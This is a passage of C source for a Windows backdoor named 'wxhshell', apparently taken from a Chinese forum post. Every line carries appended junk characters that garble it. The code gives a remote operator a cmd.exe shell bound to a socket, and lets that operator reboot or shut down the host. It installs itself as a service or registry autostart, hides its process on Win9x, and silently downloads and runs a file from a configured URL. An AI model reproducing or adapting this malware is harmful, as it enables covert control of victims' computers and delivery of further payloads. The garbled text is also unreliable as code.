      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @eG#%6">  
    break; X~<>K/}u5  
  } 6w .iEb  
  // 安装 0X}w[^f  
  case 'i': { .n ^O)|Z  
    if(Install()) `gA5P %  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R,(+NT$  
    else ;r2b@x:<_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CM@"lV_  
    break; 0lJBtk9wn  
    } N|^!"/  
  // 卸载 5u=U--  
  case 'r': { st1M.}  
    if(Uninstall()) r(/P||`l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7k04e@ ]  
    else QVA!z##  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HjE Tinm"  
    break; }!J/ 9WKgU  
    } |~T+f&   
  // 显示 wxhshell 所在路径 w-q=.RSTn=  
  case 'p': { aV92.Z_Ku  
    char svExeFile[MAX_PATH]; 'E4(!H,k  
    strcpy(svExeFile,"\n\r"); \ [hrG?A  
      strcat(svExeFile,ExeFile); _oyL*Cb  
        send(wsh,svExeFile,strlen(svExeFile),0); oeU+?-y/b  
    break; `b,g2XA  
    } G@l|u  
  // 重启 vr]dRStr  
  case 'b': { 9BgQ oK@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rqG6Ll`=+  
    if(Boot(REBOOT)) 7zOvoQ}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dsft=t8s  
    else { B+e~k?O]1  
    closesocket(wsh); xX67bswG  
    ExitThread(0); WY ^K7U  
    } BfO}4  
    break; :Q%yW%St$  
    } )="g?E3  
  // 关机 9DocId.  
  case 'd': { h?O%XnD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }e;p8)]Wl  
    if(Boot(SHUTDOWN)) 9"l%tq_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M. UUA?d<'  
    else { vA $BBXX  
    closesocket(wsh); D\i8rqU/l  
    ExitThread(0); jind!@}!  
    } ,hcBiL/  
    break; {Ac3/UM/  
    } h: (l+jr  
  // 获取shell kv`3Y0R-"  
  case 's': { R|^t~h-  
    CmdShell(wsh); VE+p&0  
    closesocket(wsh); ohG43&g~  
    ExitThread(0); zJym`NF  
    break; ?eZ"UGZg'  
  } A_dYN?^?|  
  // 退出 {~ vPq  
  case 'x': { z8MpE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -ZMl[;OM  
    CloseIt(wsh); <H(AS'  
    break; # v/aI*Rl  
    } P24    
  // 离开 [+5SEr}  
  case 'q': { l'X?S(fiV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [O =)FiY-  
    closesocket(wsh); Ql!6I(  
    WSACleanup(); eXtF[0f  
    exit(1); ~s^6Q#Z9|  
    break; iS^^Z ZyR  
        } (5\d[||9g  
  } /-} p7AM  
  } $[9V'K  
Ymh2qGcj]8  
  // 提示信息 a>e 1jM[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2LK*Cv[  
} jZgnt{  
  } `[R:L.H1  
SF}L3/C&h  
  return; kA$;vbm  
} '[M2Q"X  
Xwqf Wd_  
// shell模块句柄  7qdl,z  
int CmdShell(SOCKET sock) "gVH;<&]  
{ <Ucfd G&Lp  
STARTUPINFO si; uY#58?>'j  
ZeroMemory(&si,sizeof(si)); b8xfV{3L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nT6iS}h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dXy"yQ>{  
PROCESS_INFORMATION ProcessInfo; &ppZRdq]  
char cmdline[]="cmd"; Pn){xfqDl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0Nzv@g{3  
  return 0; oML K!]a  
} D}C*8s bC}  
Le+8s LE`Y  
// 自身启动模式 +]2~@=<@  
int StartFromService(void) o]k]pNO  
{ 4zvU"np  
typedef struct F;l<>|vG  
{ 9n2%7dLQ*  
  DWORD ExitStatus; %.  }  
  DWORD PebBaseAddress; Z)>a6s$ih<  
  DWORD AffinityMask; Q? |MBTo  
  DWORD BasePriority; k{&E}:A  
  ULONG UniqueProcessId; =cX"gI[  
  ULONG InheritedFromUniqueProcessId; sJ*U Fm{  
}   PROCESS_BASIC_INFORMATION; vG=$UUh@~  
P=hf/jOv9  
PROCNTQSIP NtQueryInformationProcess; gf8U &;  
nWg)zj:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k.VOS 0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K":tr~V;  
-"b3q  
  HANDLE             hProcess; IOsDVIXL\  
  PROCESS_BASIC_INFORMATION pbi; t ,Rn  
Nd!=3W5?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wam?(!{mOf  
  if(NULL == hInst ) return 0; i]Of<eQ"  
(4gQe6tA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <Gt{(is  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |L#r)$n{1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6aK2 {-+  
J;9QDrl`  
  if (!NtQueryInformationProcess) return 0; QRix_2+  
I ywx1ac  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GOgT(.5  
  if(!hProcess) return 0; ?d'9TOlD  
T[II;[EiE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~ZIRCTQ"  
L{ ^@O0S  
  CloseHandle(hProcess); }Bg<Fm  
icbYfgQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M/I d\~  
if(hProcess==NULL) return 0; >dH*FZ:c  
0p2O8>w^%  
HMODULE hMod; 4B,A+{3yL  
char procName[255]; / =<u l-K  
unsigned long cbNeeded; tUnVdh6L.B  
QiL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tXuxTVhoT  
F#R\Ot,hv  
  CloseHandle(hProcess);  K8we*  
soCHwiE  
if(strstr(procName,"services")) return 1; // 以服务启动 =5#Jsn?U  
 ~&jCz4M  
  return 0; // 注册表启动 -v2q:x'G#  
} ZOsn,nF  
ml/O  
// 主模块 J<O_N~$$*  
int StartWxhshell(LPSTR lpCmdLine) DN_C7\CoA  
{ SuuS!U+i>  
  SOCKET wsl; RlL,eU$CS  
BOOL val=TRUE; f.CI.aozW  
  int port=0; K?I&,t_*R  
  struct sockaddr_in door; x/^zNO\1  
vG}oo  
  if(wscfg.ws_autoins) Install(); 6XU5T5+P^  
u{ d`  
port=atoi(lpCmdLine); X Y?@^  
)o,0aGo>Of  
if(port<=0) port=wscfg.ws_port; &g {_.n,  
1W7BN~p14  
  WSADATA data; ~;s)0M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 00TdX|V`  
6S&YL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |`/uS;O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m^+ ~pC5  
  door.sin_family = AF_INET; ApBThW *E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?V)6`St#C  
  door.sin_port = htons(port); k,(_R=  
2"^9t1C2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xo+z[OIlF  
closesocket(wsl); 1MSu ]) W  
return 1; znRhQ+8;!  
} g>CQO,s;w  
M*uG`Eo&  
  if(listen(wsl,2) == INVALID_SOCKET) { {P+[C O  
closesocket(wsl); Puh&F< B  
return 1; ?Ea"%z*c5  
} rpWy 6oD  
  Wxhshell(wsl); #+\G- =-  
  WSACleanup(); 9mm(?O~'p  
/ep~/#Ia  
return 0; ?8/h3xV;  
_\[G7  
} ,oil}N(  
1>{(dd?L  
// 以NT服务方式启动 2N]s}/l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8m0sEV>  
{ xx8na8  
DWORD   status = 0; V|`|CVFo]  
  DWORD   specificError = 0xfffffff; Zv93cv  
kRPg^Fw"Vw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >AJ|F)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [l:.Q?? )|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s,x]zG"  
  serviceStatus.dwWin32ExitCode     = 0; eW%jDsC  
  serviceStatus.dwServiceSpecificExitCode = 0; RdHR[Usm  
  serviceStatus.dwCheckPoint       = 0; xcA:Q`c.{  
  serviceStatus.dwWaitHint       = 0; D$;/ l}s?  
89bKnsV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }fZBP]<I(  
  if (hServiceStatusHandle==0) return; @d|9(,Q  
Y}U w7\e  
status = GetLastError(); x ,W+:l9~s  
  if (status!=NO_ERROR) sn%fE  
{ o5uwa{v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KMcP!N.I  
    serviceStatus.dwCheckPoint       = 0; |zKcL3*  
    serviceStatus.dwWaitHint       = 0; 5$X{{j2  
    serviceStatus.dwWin32ExitCode     = status; tHeLq*))  
    serviceStatus.dwServiceSpecificExitCode = specificError; >wwEa4   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5JXLfYTUI  
    return; f -5ZXpWs'  
  } 9m{rQ P/  
*Q?HaG|S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dGe  
  serviceStatus.dwCheckPoint       = 0; .M lE1n'  
  serviceStatus.dwWaitHint       = 0; Z)%p,DiNM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e`^j_V nEH  
} u.6%n. g  
F ReK  
// 处理NT服务事件,比如:启动、停止 T*m_rDDt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) da@ .J9  
{ v#xF;@G  
switch(fdwControl) om6R/K  
{ Wt =[R 4=  
case SERVICE_CONTROL_STOP: 2_Z6 0]  
  serviceStatus.dwWin32ExitCode = 0; RU=%yk-gM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; It[~0?+  
  serviceStatus.dwCheckPoint   = 0; FBsw\P5w  
  serviceStatus.dwWaitHint     = 0; `u-Y 5mY  
  { &7LfNN`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gN%R-e0  
  } mf#oa~_  
  return; WyP1"e^ 9  
case SERVICE_CONTROL_PAUSE: ZUycJ-[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #A!0KN;GC2  
  break; cf9y0  
case SERVICE_CONTROL_CONTINUE: {;U:0BPI3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nsq%b?#  
  break; iKwVYL  
case SERVICE_CONTROL_INTERROGATE: .PgkHb=l@  
  break; *6L^A`_1]  
}; x{E[qH_1Fm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ln5On_Wm  
} & BkNkb0  
z5I<,[`  
// 标准应用程序主函数 q2y:b qLWl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Dts:$PlCk  
{ uw]Jm"=w  
ryN-d%t?  
// 获取操作系统版本 |d K-r  
OsIsNt=GetOsVer(); PLD!BD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )8;'fE[p}  
bHCd|4e,2  
  // 从命令行安装 Vq\6c  
  if(strpbrk(lpCmdLine,"iI")) Install();  (c"!0v  
IF=rD-x  
  // 下载执行文件 N@g+51ye  
if(wscfg.ws_downexe) { l-&f81W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -nW-I\d%  
  WinExec(wscfg.ws_filenam,SW_HIDE); i!NGX  
} J0IK =Y  
&N EzKf  
if(!OsIsNt) { =LRUasF  
// 如果时win9x,隐藏进程并且设置为注册表启动 {q^KlSjm  
HideProc(); DQSv'!KFO  
StartWxhshell(lpCmdLine); T(6S~; ,Z  
} /bWV `*  
else !E%!,  
  if(StartFromService()) ,3wo  
  // 以服务方式启动 Vr'Z5F*@  
  StartServiceCtrlDispatcher(DispatchTable); [kCn6\_<V  
else 2rxdRg'YLQ  
  // 普通方式启动 04s N 4C  
  StartWxhshell(lpCmdLine); f5N~K>  
f: R h9  
return 0; *M{1RMc  
}
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只看该作者 1 发表于: 2006-10-10
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